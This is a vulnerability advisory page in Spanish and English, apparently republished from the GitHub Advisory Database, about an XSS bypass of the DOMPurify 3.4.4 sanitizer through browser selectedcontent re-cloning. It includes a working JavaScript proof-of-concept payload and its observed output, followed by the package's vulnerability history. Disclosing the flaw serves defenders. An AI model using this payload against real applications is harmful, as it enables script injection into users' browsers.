Alta

DOMPurify XSS via selectedcontent re-clone

  • Publicada: 01.06.2026
  • Actualizado: 11.10.2026 10:22

Summary

DOMPurify 3.4.4 allows selectedcontent by default, allowing a chain in which browsers "re-clone" an XSS payload after sanitization, effectively bypassing DOMPurify.

Details

The chain is as follows:

  1. The browser parses the input and creates a <selectedcontent> clone from the selected <option>
  2. DOMPurify walks and sanitizes that generated clone.
  3. DOMPurify reaches the original <option> and removes selected=javascript:1
  4. The browser refreshes the <selectedcontent> clone from the original option's content.
  5. The refreshed clone is in a subtree DOMPurify already walked, which DOMPurify doesn't go back to sanitize
  6. The returned string contains unsanitized markup inside <selectedcontent>.

PoC

js
const dirty =
  '<select><button><selectedcontent></selectedcontent></button>' +
  '<option selected=javascript:1>' +
  '<img src=x onerror=alert(1)>x' +
  '</option></select>';

const clean = DOMPurify.sanitize(dirty);
console.log(clean);

document.body.innerHTML = clean;

Observed "sanitized" output in Chromium 148/WebKit 625:

html
<select><button><selectedcontent><img src="x" onerror="alert(1)">x</selectedcontent></button><option><img src="x">x</option></select>

After reinsertion, the browser updates the live DOM and strips the handler from the displayed clone, but the onerror has already fired:

html
<select><button><selectedcontent><img src="x">x</selectedcontent></button><option><img src="x">x</option></select>

Reproduced in Chromium and WebKit, but not Safari (not yet latest WebKit) or Firefox. Will likely change with browser support for selectedcontent.

Impact

This is a default-configuration DOMPurify sanitizer bypass resulting in XSS.

Applications are impacted if they sanitize attacker-controlled HTML with DOMPurify 3.4.4 using the string-input path and then insert the returned string into the page, for example with innerHTML.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Paquete de npm dompurify >= 3.4.4, < 3.4.5 3.4.5

Referencias

Puntuación CVSS 8.2/10
Vector CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N
Debilidad (CWE)
CWE-79
Plataforma
npm
Paquete
dompurify
Publicada
01.06.2026
Actualizado
11.10.2026 10:22

Fuentes y licencias

OSV / GitHub Advisory Database - GHSA-87xg-pxx2-7hvx - CC BY 4.0

Historial de vulnerabilidades: dompurify

Todas las vulnerabilidades publicadas de este paquete (Paquete de npm), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Todas (30) en el archivo
Entradas en total
30
Primera → última
08.2020 10.2026
Sin corrección
1
Explotada en ataques
0

Distribución por gravedad

  • Crítica 2
  • Alta 3
  • Media 19
  • Baja 6

Divulgaciones por año

  1. 2020: 3
  2. 2021: 0
  3. 2022: 0
  4. 2023: 1
  5. 2024: 3
  6. 2025: 1
  7. 2026: 22
Gravedad:
  1. DOMPurify XSS via selectedcontent re-clone esta entrada
    Alta · 8.2 CVE-2026-47423 >= 3.4.4, < 3.4.5 3.4.5
  2. Crítica · 9.1 CVE-2024-48910 < 2.4.2 2.4.2
  3. Alta · 10.0 CVE-2024-47875 < 2.5.0, >= 3.0.0, < 3.1.3 2.5.0, 3.1.3
  4. Alta · 7.0 CVE-2024-45801 < 2.5.4, >= 3.0.0, < 3.1.3 2.5.4, 3.1.3
  5. Crítica ghsa-mjjq-c88q-qhr6 < 2.0.7 2.0.7

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.